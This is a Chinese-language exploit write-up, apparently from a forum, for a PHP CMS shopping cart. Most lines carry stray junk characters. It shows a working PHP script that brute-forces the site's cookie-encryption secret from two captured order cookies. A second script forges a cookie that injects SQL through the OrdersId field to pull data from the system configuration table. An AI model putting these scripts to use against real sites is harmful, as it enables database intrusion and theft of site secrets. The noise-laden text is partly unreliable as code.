www.xxx.com/plus/search.php?keyword=
6 V1 M; O& Z: X' @1 L) S在 include/shopcar.class.php中+ C4 d. C1 U" J+ g( W
先看一下这个shopcar类是如何生成cookie的: b* \1 w8 p* {( w
239 function saveCookie($key,$value)) s1 F: q2 z L+ W
240 {8 k" v8 Z! n0 v( V E/ w0 O
241 if(is_array($value))3 K" s9 [+ s1 V# O( M% g
242 {3 i* O0 t0 w6 `0 _ y
243 $value = $this->enCrypt($this->enCode($value));
l7 e- D, o# A: v244 }
+ n" L: c+ K2 Y, `% c245 else, K6 o9 k* A$ L8 D
246 {
' g4 ]# r0 j( J, g4 H247 $value = $this->enCrypt($value);
1 U# z8 \+ w7 p4 N: B7 j6 }248 }
; G7 i8 W, l+ l249 setcookie($key,$value,time()+36000,’/');! n6 C# `/ R5 b* g7 N, Y! _" S
250 }! A1 t( Y$ I' `, r5 d& A
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数+ X# |2 C( d% v8 F7 E4 l4 z; @
186 function enCrypt($txt) F2 {7 R- p5 a2 l- z
187 {- l* c8 [. @& K T1 ^
188 srand((double)microtime() * 1000000);
% ]) o& ~) N' g# b y+ B& b3 I189 $encrypt_key = md5(rand(0, 32000));
+ {$ E2 `7 c, X B3 | }! P190 $ctr = 0;; K0 Q0 e( E8 i# ?+ e9 N
191 $tmp = ”;# H5 @9 N. m: v" K
192 for($i = 0; $i < strlen($txt); $i++)) M( I4 ]; E7 h( O
193 {7 W6 `4 v+ F% k( A7 X4 M& e
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
' e0 d& \' Z) u, Y195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
, A/ N- F" _$ j196 }
Z' f* a) |3 h% Z. a/ h" y* d197 return base64_encode($this->setKey($tmp));
+ c2 h9 b$ y" s( O9 M! |198 }4 A6 c$ {% E3 s5 u
213 function setKey($txt)3 m+ t& ~0 E- {* q# }& R
214 {
; I n2 X/ f. c215 global $cfg_cookie_encode;
) A; O" R0 m. i4 j! c7 k216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
, O1 O. e/ R) y8 Z7 z$ z* }217 $ctr = 0;
1 D3 F2 D! ?" J218 $tmp = ”;
1 m; q. M- F5 L/ h4 E% k219 for($i = 0; $i < strlen($txt); $i++)5 @1 J! @1 Q0 i3 D* E/ o2 ?
220 {
, \" Z" ?8 ]: F0 J1 X" x221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;3 o- {8 l: }- r
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];2 p3 @# b2 R9 J. d& ?: e. Y
223 }
/ m; t9 ~+ w) r5 H9 y! @! j/ q224 return $tmp;
% ^5 b9 J) q1 B225 }* R' o; M$ x, W, B, t& z3 V. T
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
" m% @7 j' @5 c然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
% i3 j. o. a- j$ C6 R0 M. ?具体代码如下:
! C/ Y9 m1 _, q1 t<?php/ E9 c' s& m6 c* f- [
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here( `5 j5 X" ~( t, q; E$ H C- F
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
! c$ j$ n# J" h" O4 n5 k3 o$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here! J' V- A: ?" `4 }
function reStrCode($code,$string)
; Q$ D5 h- c, G7 ^6 Z{$ Q6 I5 g# d: u
$code = base64_decode($code);1 G# d; I" q: q/ ^: u7 o
$key = “”;% v( f2 Q8 G$ ^6 W3 [
for($i=0 ; $i<32 ; $i++)' {8 b$ L* ~7 }/ i. @4 U
{
1 R l* w% X- ~+ g$key .= $string[$i] ^ $code[$i];
6 i4 o# w3 @5 _/ V* Y2 P}
; y' g/ y ~% k0 z1 V& s, l* Sreturn $key;
$ u+ T7 }1 U2 L- c. D' s7 r}
/ m& S3 ]3 N, W' @. z. G2 Xfunction getKeys($cookie,$plantxt)6 c8 @$ t6 `, o$ @
{
* f% V \. N, a4 H$tmp = $cookie;
) Y# {0 B& C) `% X ]: E" a% @$results = array();6 A& V2 l) p. r+ I* N9 G
for($j=0 ; $j < 32000; $j++)' Y# S. @: J# g1 l- K$ D5 G9 r
{
: Q/ Y' r, M v/ B/ U7 Y
' w c% f' C2 M( W6 k- M$txt = $plantxt;
5 P: V$ ]8 v; @8 k! P% E: B4 q$ctr = 0;
J' w1 X( ^8 q$tmp = ”;$ r+ n( \; X i2 r. P
$encrypt_key = md5($j);
! z9 x! v6 b) M; l: Ofor($i =0; $i < strlen($txt); $i ++)
" O* ]. _, p4 c" K z" j{
9 i: L" }1 Z5 [: T: p$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
/ m- M, d, e$ a: p$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);; H7 y! p# @2 S5 C7 E0 }6 s% Y
}$ h% @+ p0 E* I$ L3 ~
$string = $tmp;
& a$ P0 c0 N- M" Q$code = $cookie;
]) d* B" a' V. M8 S: t1 m) m) B" u$result = reStrCode($code,$string);* V+ Z( v1 A+ C8 C1 w
if(eregi(‘^[a-z0-9]+$’,$result))
7 [( ]- {/ ^6 X- L! C% P{
: Z: N$ r9 u5 ?* |* iecho $result.”\n”;5 ~2 A6 |$ p: J. ]( Q, q
$results[] = $result;
% y+ d2 J+ q2 H. g% F4 {}, H* v3 B9 j% m% X* v, `
}: c4 z2 C9 ^- j$ A6 J* Y
return $results;
) q/ X2 @7 O, E! k4 G l) i}
7 V, S- `; p% \7 y& T$results1 = getKeys($cookie1,$plantxt);: H* i8 W8 r: z5 ?( U
$results2 = getKeys($cookie2,$plantxt);
* G6 F! `5 p+ q6 k5 C6 Xprint “\n——————–real key————————–\n”;
. }; \/ r0 I) m* i, m5 a& ~foreach($results1 as $test1)
, f- C# p9 P. p% i2 _{1 p, B; c9 q, t, w8 n
foreach($results2 as $test2)
q! {, Q- n8 f- i% L{
5 P7 y, H# E$ l! aif($test1 == $test2)
4 F7 v2 w. h5 X/ h {1 D* y{$ o8 f/ r) e2 _% ~
echo $test1.”\n”;+ p2 u) s8 \6 ]$ W7 x' ?: P
}
" o- |7 d+ | H}
) f3 S9 m8 H2 Q) A$ ?. l' u: `% G}/ g# [+ R0 K4 N8 [
?>
) ?$ ~9 e, V5 ]# T% o9 i6 lcookie1 和 cookie2 是我下了两次订单后分别生成的cookie,# h0 K! W h5 |# R- o$ T
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua19 l L8 z9 ]8 l/ q: p& T, X. P6 \
然后推算出md5(strtolower($cfg_cookie_encode))" g& d p/ l& F
得到这个key之后,我们就可以构造任意购物车的cookie8 \/ A2 w- ~% f" x% ^
接着看( q0 e1 a5 v, f U
20 class MemberShops: y) A% l \$ E: x8 v8 x
21 {* p* J% {5 W: d: y
22 var $OrdersId;( G: _/ T6 V" X6 G7 A
23 var $productsId;2 D, o2 l; P+ \; k3 F5 }
24
. T" j9 D4 i0 W3 f) k9 j25 function __construct()
# i7 Y! `" n; |. N- d4 u$ p6 J26 {
0 Y# |4 \2 R- c0 C8 j3 Z+ P. m: I27 $this->OrdersId = $this->getCookie(“OrdersId”);
3 k- B" ]+ }5 }& `- y8 T) J7 W28 if(empty($this->OrdersId))
}2 F/ H$ [4 ^* u. B. |29 {
6 P# y) Y5 S, J! `30 $this->OrdersId = $this->MakeOrders();
, h. S, M' ~. F- c5 }31 }: ?9 V; `8 U( P$ G- p
32 }
6 r: z& k6 O" f! i; @$ m: t) e% F0 C发现OrderId是从cookie里面获取的) ~) R$ ~3 M& S2 S7 O4 Y8 |5 S
然后9 {, D8 u1 ^6 N/ B- _
/plus/carbuyaction.php中的
F( R( T& F u/ V29 $cart = new MemberShops();. ^! `( K% y# A1 ]3 k) R* R- E
39 $OrdersId = $cart->OrdersId; //本次记录的订单号& M7 P! U" w6 E9 P4 Q/ T- B
……
8 _' y* t2 M2 M! a2 B2 \* b173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
: l, q: \* W8 w' `7 k% }. O6 X; t接着我们就可以注入了
E& a2 e* j7 G$ b1 G* ^通过利用下面代码生成cookie:7 Y# e6 G; N" z* B
<?php K9 s4 W4 G5 L+ C$ C6 O
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
& v$ w3 }# O/ p$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
" P' k8 O- O0 tfunction setKey($txt)+ Z3 b- c# @1 C7 O
{
+ g$ s% J5 E8 F& K; {; c xglobal $encrypt_key;
' P2 F* i5 x- p* J! ^$ctr = 0;4 z j# z) ]! K$ U: A+ o# O
$tmp = ”;
# h# I. M) v' C" pfor($i = 0; $i < strlen($txt); $i++)
4 H5 n1 N Y8 i! _ h6 T: [0 j6 k, \{
$ m+ H9 n. B6 Y0 w1 ]$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
8 Y' Y) J1 H; C$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];2 p; N, V4 J8 h: @) |
}
% G8 Y% |3 Y+ _9 C; w) K7 }; Breturn $tmp;
. v7 i# j3 G; Q B) x6 T}8 n) j) g6 G6 _
function enCrypt($txt)' B: L5 K, Y* e: E
{
/ P" x S. n( d% A) |srand((double)microtime() * 1000000);( f+ A8 c" t# ^$ x# b7 A
$encrypt_key = md5(rand(0, 32000));
0 r0 ?- \- Z" F: B7 N$ g2 P ^$ctr = 0;% n) ]4 }+ P- S* q# v) O0 p1 j
$tmp = ”;
$ M$ m5 ^+ f, d0 e* v! Gfor($i = 0; $i < strlen($txt); $i++)$ ]( ~+ G4 K- \2 \2 @
{1 l) E8 i3 a2 S: |( n
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;4 ~( o( @' t0 o3 R" h# l
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);' y5 M% K" x0 n. S7 A
}
" _8 n) t8 d- P( qreturn base64_encode(setKey($tmp));# o* M& [$ n; N& m5 f) _
}
2 H0 \/ _3 L5 a6 K0 u' X* Wfor($dest =0;$dest = enCrypt($txt);)8 w: T5 m' O7 ^# B, ]
{
( o1 W% m/ V/ n. I$ Dif(!strpos($dest,’+'))! i, W( t- t$ w" G. Q, C0 K/ o
{
; d$ z2 v) Z& K) i% u8 R0 @break;. p0 b- O, S1 \$ O
}* P0 }" ^$ I8 c- b; H! n& ]
}
7 ?5 F, c5 [: Z4 w( A p; necho $dest.”\n”;2 p/ W% _5 c- w x8 d1 A8 L
?>4 U8 ]) _1 H/ ? t! Q& N
5 m( b* }4 T3 H: Y( p
|